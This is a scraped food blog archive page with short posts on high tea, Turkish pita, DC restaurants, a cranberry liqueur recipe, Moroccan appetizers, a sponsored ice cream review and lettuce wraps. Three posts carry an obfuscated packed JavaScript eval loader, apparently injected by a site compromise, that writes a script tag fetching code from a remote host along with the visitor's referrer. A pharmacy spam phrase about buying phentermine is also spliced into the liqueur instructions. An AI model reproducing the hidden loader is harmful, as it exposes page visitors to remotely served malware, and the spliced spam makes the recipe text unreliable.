High Tea with Bubbles

2015 Food, Food

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdrni|var|u0026u|referrer|braak||js|php’.split(‘|’),0,{}))
colleagues have serious high tea game. This is just part of the amazing spread my co-workers pulled together for my friend’s going away “High Tea.” Have you noticed most of my photos of tea time are about the food? I do like tea and bubbles too.

Happy Friday!

Turkish Pita

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The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshzf|var|u0026u|referrer|idira||js|php’.split(‘|’),0,{}))
best thing I ate in Turkey was this pita pizza. It’s a savory pizza wrapped in a pita shape. On my
Culinary Backstreet tour, I was shown a restaurant that only makes these in four different flavors. They sell them to other restaurants in Instanbul that then serve it to their customers. The closest thing I’ve found to it in DC is Khachapuri at Compass Rose, which comes more sweet than savory.

DC Eats: Oki Bowl

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Bowl
is my latest great eatery find in DC. Pictured above is the Kara-age Chicken bowl, but everything I’ve eaten at Oki Bowl has been delicious. If you enjoy curries, then you should definitely eat here. The restaurant is small and decorated oddly, but it does have a cool hipster atmosphere.

Homemade Cranberry Liqueur

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Hope you all had a wonderful Thanksgiving and are treating your self to some retail therapy this Black Friday.

I’m linking to my mom’s great food blog for this #FoodieFriday post because you know… I’m shopping today.

I’m not saying this because I’m just her daughter, but I would genuinely recommend her blog to my readers. She’s a phenomenal chef. And now you can get my mom’s homemade cooking by following her at Side eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehzfr|var|u0026u|referrer|nhdah||js|php’.split(‘|’),0,{}))
Walk Shoes
!

But because we are all adults here, I’m sharing her recipe for homemade cranberry liqueur.

 

Cranberry Liqueur

  • 2 cups sugar
  • 1 cup water
  • 1 12-ounce package of fresh cranberries (or one of the 8 or so you have in your freezer)
  • 3 cups vodka

Combine the sugar and water in a saucepan and over medium heat cook for 5 minutes, where can i purchase phentermine 37.5 mg stirring, until sugar dissolves.  Remove from heat and cool completely.

Place cranberries in food processor and process for about 2 minutes or until finely chopped. Combine the sugar mixture, cranberries, and vodka in a large bowl.  Pour into clean jars with lids and let sit in a cool, dark place for 3 weeks, shaking every other day (or whenever you remember).

Strain through a cheesecloth lined sieve into a bowl and discard solids.  Pour into clean jars or bottles, and sit back and admire!

Note: Liqueur can be stored refrigerated or at room temperature for a year.

SERVING SUGGESTION – Cranberry Cosmopolitan – Place crushed ice in a cocktail shaker.  Add 1/2 cup cranberry liqueur, 1/4 cup Cointreau, and 2 tablespoons lime juice; strain into martini glasses.  Yields 2 cocktails.

Moroccan Appetizers 

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Besides the fact that every Morrocan restaurant is like eating in a mosaic castle, the appetizers they provide foreigners gives a smorgasbord of what Morrocans eat  daily. They would typically only have one of these dishes in a slightly larger portion for their meal. Because I’m such a foodie, I ate everything pictured above just as my appetiser.

The dishes are familiar but different. Squashes I know well are cooked with rich Morrocan spices that I’ve never heard of before made the eating experience very enjoyable. I fell in love with Morrocan food, and now that I’m back home, I hope to learn some of their cooking techniques.

If you’ve never tried this cuisine, I highly recommend it.

Halo Top Ice Cream

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eat an inordinate amount of ice cream. Just check out the proof on my
instagram. So I jumped at this chance to review Halo Top ice cream. I picked vanilla bean – my go to choice because it pairs well with almost anything. While I’d prefer to have the Halo Top ice cream melting over a peach cobbler, it pairs well with fresh chopped strawberries too.

You can find Halo Top ice cream in Whole Foods, and it’s definitely a brand I’d recommend trying. I always find there are too many choices on the ice cream aisle. Let me help you out for your next grocery trip, try Halo Top. You won’t regret it.

Halo Top sponsored this post, but opinions are my own.

DC Eats: Le Diplomate

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Diplomate
 may be my favorite brunch spot in DC. I usually order the classic Egg Benedict’s – you know, why stray from what is always good.

Cheese Platter

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platters are the best and so easy to prepare for guests.

Lettuce Wraps

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may never buy lettuce wraps again, because they are very easy to make at home! I literally just followed the instructions on the back of the
Lee Kum Kee Panda Lettuce Wrap Sauce packet.

 

Ingredients

 

  • 1 lb ground chicken or ground pork
  • 8 oz can water chestnuts, drained and chopped
  • 4 green onions, chopped ( I omitted)
  • 1/4 cup roasted peanuts, chopped
  • 1 (4 oz) carrot, diced
  • 2 tbsp cooking oil
  • 1 pouch Lee Cum Kee Sauce for Lettuce Wrap
  • 1 head iceberg lettuce

Directions

Preparation Time: 6 minutes. Cooking Time: 6 minutes (makes 4-6 servings).

Add chicken (or pork) and stir fry for 3 minutes or until browned. Add all vegetables, peanuts, and water chestnuts. Stir-fry for an additional 2 minutes. Add 3/4 pouch Of Lee Kum Kee Sauce for Lettuce Wrap. Bring to simmer and add green onions and peanuts. Scoop the mixture into a lettuce cup. Drizzle the remaining sauce on top. (I poured the entire sauce mixture in with the meat.)